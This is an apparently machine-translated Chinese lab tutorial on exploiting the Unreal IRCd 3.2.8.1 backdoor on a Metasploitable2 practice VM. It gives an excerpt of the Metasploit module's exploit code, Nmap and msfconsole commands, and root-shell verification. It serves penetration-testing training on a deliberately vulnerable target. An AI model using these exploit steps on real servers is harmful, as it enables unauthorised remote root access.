简介
在本实验中,我们将学习如何利用 LabEx 平台上托管的 Metasploitable2 目标机器上的 Unreal IRCd 服务。我们将首先了解 Unreal IRCd 服务中的漏洞,然后使用 Nmap 进行漏洞扫描。在识别出易受攻击的服务后,我们将利用 Metasploit 框架来利用该漏洞,并在目标机器上获取远程 shell。最后,我们将在被攻陷的系统上执行命令,以验证我们是否成功利用了该漏洞。
💡 本教程由 AI 辅助翻译自英文原版。如需查看原文,您可以 切换至英文原版
在本实验中,我们将学习如何利用 LabEx 平台上托管的 Metasploitable2 目标机器上的 Unreal IRCd 服务。我们将首先了解 Unreal IRCd 服务中的漏洞,然后使用 Nmap 进行漏洞扫描。在识别出易受攻击的服务后,我们将利用 Metasploit 框架来利用该漏洞,并在目标机器上获取远程 shell。最后,我们将在被攻陷的系统上执行命令,以验证我们是否成功利用了该漏洞。
Unreal IRCd 3.2.8.1 版本包含一个后门漏洞(CVE-2010-2075),该漏洞允许远程攻击者在受影响的系统上执行任意代码。该漏洞存在于 DEBUG3_DOLOG_SYSTEM
宏中,其中包含攻击者可利用的外部恶意代码。
相关信息:
用于利用此漏洞的 Metasploit 模块:
以下是 Metasploit 模块的简要概述:
## Require necessary modules
require 'msf/core'
## Define the Metasploit module class
class MetasploitModule < Msf::Exploit::Remote
## Module initialization with details like name, description, author, references, etc.
def initialize(info = {})
super(update_info(info,
'Name' => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
'Description' => %q{
This module exploits a malicious backdoor that was added to the
Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
},
## ... (omitted for brevity)
))
## Set default options
register_options(
[
Opt::RPORT(6667)
], self.class)
end
## Exploit method
def exploit
## Connect to the remote service
connect
## Print banner information
print_status("Connected to #{rhost}:#{rport}...")
banner = sock.get_once(-1, 30)
banner.to_s.split("\n").each do |line|
print_line(" #{line}")
end
## Send the backdoor command
print_status("Sending backdoor command...")
sock.put("AB;" + payload.encoded + "\n")
## Wait for session creation or timeout
1.upto(120) do
break if session_created?
select(nil, nil, nil, 0.25)
handler()
end
disconnect
end
end
现在你将启动攻击机(Kali Linux 容器)和目标机(Metasploitable2 虚拟机)以进行实验。
sudo virsh start Metasploitable2
等待目标机器启动,可能需要 1-3 分钟。
ping 192.168.122.102
按 Ctrl+C
停止 ping。
docker run -ti --network host b5b709a49cd5 bash
ping 192.168.122.102
按 Ctrl+C
停止 ping。
现在攻击机和目标机都已启动,你可以开始渗透测试。
注意:如果你意外退出了当前的 bash,Kali 容器将自动停止。你可以在主机上再次执行 docker run -ti --network host b5b709a49cd5 bash
以启动一个新的 Kali 容器并进入 bash 以继续实验。
在这一步骤中,我们将对目标机器执行漏洞扫描,以识别开放的端口以及在这些端口上运行的服务。我们将使用强大的 Nmap(Network Mapper)工具来完成此任务。
cd ~
msfconsole
nmap
命令扫描目标机器:nmap -sV -T4 192.168.122.102
-sV
选项用于启用开放端口的版本检测,-T4
将扫描速度设置为激进级别(1-5,数值越高速度越快)。
输出应显示一个开放的端口 6667
,运行着 unreal ircd
服务。
按 Ctrl+D 退出 Metasploit 控制台,然后开始检查
现在我们已经识别出运行在端口 6667
上的易受攻击的 Unreal IRCd 服务,接下来我们可以使用 Metasploit 框架对其进行利用。
cd ~
msfconsole
unreal_ircd_3281_backdoor
模块:search unreal_ircd_3281_backdoor
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOST 192.168.122.102
exploit
如果漏洞利用成功,你应该会在目标机器上获得一个远程 shell。
按 Ctrl+D 退出 Metasploit 控制台,然后开始检查
为了验证漏洞利用是否成功,我们可以在上一步中获得的远程 shell 上执行命令。
cd ~
msfconsole
whoami
命令检查当前用户:whoami
hostname
命令检查主机名:hostname
ifconfig
命令检查 IP 地址:ifconfig
如果输出显示当前用户为 root
,主机名为 metasploitable
,并且 IP 地址与目标机器(192.168.122.102)匹配,则确认漏洞利用成功,并且你已经完全控制了目标系统。
按 Ctrl+D 退出 Metasploit 控制台,然后开始检查
在本实验中,我们学习了 Unreal IRCd 漏洞以及如何使用 Metasploit 框架对其进行利用。我们首先了解了该漏洞及其影响,然后通过漏洞扫描识别出易受攻击的服务。在发现运行在端口 6667
上的 Unreal IRCd 服务后,我们使用合适的 Metasploit 模块利用该漏洞并成功获取目标机器的远程访问权限。最后,通过在受攻击系统上执行命令,我们验证了漏洞利用的成功。本实验提供了漏洞分析、利用以及利用后验证的实践机会,这些是道德黑客和网络安全专业人员必备的关键技能。